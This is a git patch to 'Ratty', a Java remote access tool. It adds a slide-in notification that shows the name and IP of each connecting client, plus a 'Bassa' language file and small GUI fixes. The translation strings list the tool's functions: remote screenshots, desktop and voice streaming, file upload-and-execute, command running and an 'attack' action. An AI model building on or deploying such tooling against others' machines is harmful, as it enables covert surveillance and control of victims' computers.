From 0cbe9ab5a4c9517cbf1d6c5d698aef32bf2df839 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Thu, 17 Mar 2016 00:16:51 +0100 Subject: [PATCH] Major changes Added Bassa translation Added a notification window --- Ratty/res/language/lang_bsq.properties | 44 +++++++++++ Ratty/src/de/sogomn/rat/GUISettings.java | 4 +- .../sogomn/rat/server/gui/Notification.java | 76 +++++++++++++++++++ .../rat/server/gui/RattyGuiController.java | 7 +- 4 files changed, 128 insertions(+), 3 deletions(-) create mode 100644 Ratty/res/language/lang_bsq.properties create mode 100644 Ratty/src/de/sogomn/rat/server/gui/Notification.java diff --git a/Ratty/res/language/lang_bsq.properties b/Ratty/res/language/lang_bsq.properties new file mode 100644 index 0000000..e3a9357 --- /dev/null +++ b/Ratty/res/language/lang_bsq.properties @@ -0,0 +1,44 @@ +debug.question=Foo't'ah dud Yoow'a'h? +debug.server=Foo't'ah +debug.client=Yoow'a'h + +server.port_question=Tri'a'am yuwe Joom? +server.port_error=Imy Tri'a'am. +server.free_warning=Lmbona yuwe connect yuw reyt device jipon.\r\n\ +Kimu? +server.yes=Yime +server.no=Yuwe +server.upload_execute_warning=File fi qo'wehn pol Imy file.\r\n\ +Kimu? + +builder.address_question=Ui number fi Imy reyt? +builder.port_question=jipon? +builder.error=Yuwe g'a'ah. + +action.popup=Gu oop +action.screenshot=Screenshoot +action.desktop=Des'top +action.voice=g'v'oocan +action.files=File g'can +action.command=Gu action +action.clipboard=Bood lmbona +action.website=Website gu +action.audio=Fun o'tqov +action.free=Impy gu +action.build=Impy build +action.attack=K'ontad gu +action.request_files=Gu file +action.download=Download file +action.upload=Gu file fi dehn +action.execute=M'at eh file +action.delete=Yuwe file +action.new_directory=Nuun file +action.upload_execute=Dehn fi M'at file + +column.name=Cu'a'ahn +column.location=Place +column.address=IP number +column.os=Operating system +column.version=Ve'son +column.desktop=Stre'm'in' des'top +column.voice=Stre'm'in v'ocan \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/GUISettings.java b/Ratty/src/de/sogomn/rat/GUISettings.java index e41c9f2..25061a8 100644 --- a/Ratty/src/de/sogomn/rat/GUISettings.java +++ b/Ratty/src/de/sogomn/rat/GUISettings.java @@ -24,7 +24,7 @@ final class GUISettings { private static final Color BASE = new Color(235, 205, 185); private static final Color BRIGHTER = new Color(245, 220, 200); private static final Color DARKER = new Color(215, 185, 165); - private static final Color ALTERNATIVE = new Color(245, 235, 225); + private static final Color ALTERNATIVE = new Color(245, 235, 230); private static final Color SELECTION = new Color(120, 120, 135); private static final EmptyBorder TABLE_CELL_BORDER = new EmptyBorder(2, 5, 2, 5); @@ -74,6 +74,8 @@ final class GUISettings { try { newFont = Font.createFont(Font.TRUETYPE_FONT, Ratty.class.getResourceAsStream("/lato.ttf")).deriveFont(13f); } catch (final IOException | FontFormatException ex) { + ex.printStackTrace(); + newFont = new Font("Trebuchet MS", Font.PLAIN, 13); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/Notification.java b/Ratty/src/de/sogomn/rat/server/gui/Notification.java new file mode 100644 index 0000000..354dd3c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/Notification.java @@ -0,0 +1,76 @@ +package de.sogomn.rat.server.gui; + +import javax.swing.JDialog; +import javax.swing.JLabel; +import javax.swing.border.EmptyBorder; + +public final class Notification { + + private JDialog dialog; + private JLabel label; + + private static final EmptyBorder PADDING = new EmptyBorder(10, 50, 10, 50); + private static final int INTERVAL = 3; + private static final int WAIT_TIME = 3000; + + public Notification(final String text) { + dialog = new JDialog(); + label = new JLabel(text); + + label.setHorizontalAlignment(JLabel.CENTER); + label.setVerticalAlignment(JLabel.CENTER); + label.setBorder(PADDING); + + dialog.setUndecorated(true); + dialog.setContentPane(label); + dialog.pack(); + dialog.setLocation(-dialog.getWidth(), 0); + dialog.setAlwaysOnTop(true); + } + + public Notification() { + this(""); + } + + public void trigger() { + if (dialog.isVisible() || !dialog.isDisplayable()) { + return; + } + + final Runnable runnable = () -> { + try { + while (dialog.getX() < 0) { + final int x = dialog.getX() + 1; + final int y = dialog.getY(); + + dialog.setLocation(x, y); + + Thread.sleep(INTERVAL); + } + + Thread.sleep(WAIT_TIME); + + while (dialog.getX() > -dialog.getWidth()) { + final int x = dialog.getX() - 1; + final int y = dialog.getY(); + + dialog.setLocation(x, y); + + Thread.sleep(INTERVAL); + } + } catch (final Exception ex) { + ex.printStackTrace(); + } + + dialog.setVisible(false); + dialog.dispose(); + }; + final Thread thread = new Thread(runnable); + + dialog.setVisible(true); + + thread.setDaemon(true); + thread.start(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 4a2f0b9..04566cd 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -421,11 +421,16 @@ public final class RattyGuiController extends AbstractRattyController implements final String location = packet.getLocation(); final String os = packet.getOs(); final String version = packet.getVersion(); + final String address = client.getAddress(); + final Notification notification = new Notification(name + " " + address); client.logIn(name, location, os, version); client.addListener(this); gui.addRow(client); + + notification.trigger(); + PING.play(); } @Override @@ -453,8 +458,6 @@ public final class RattyGuiController extends AbstractRattyController implements super.connected(server, connection); clients.put(connection, client); - - PING.play(); } @Override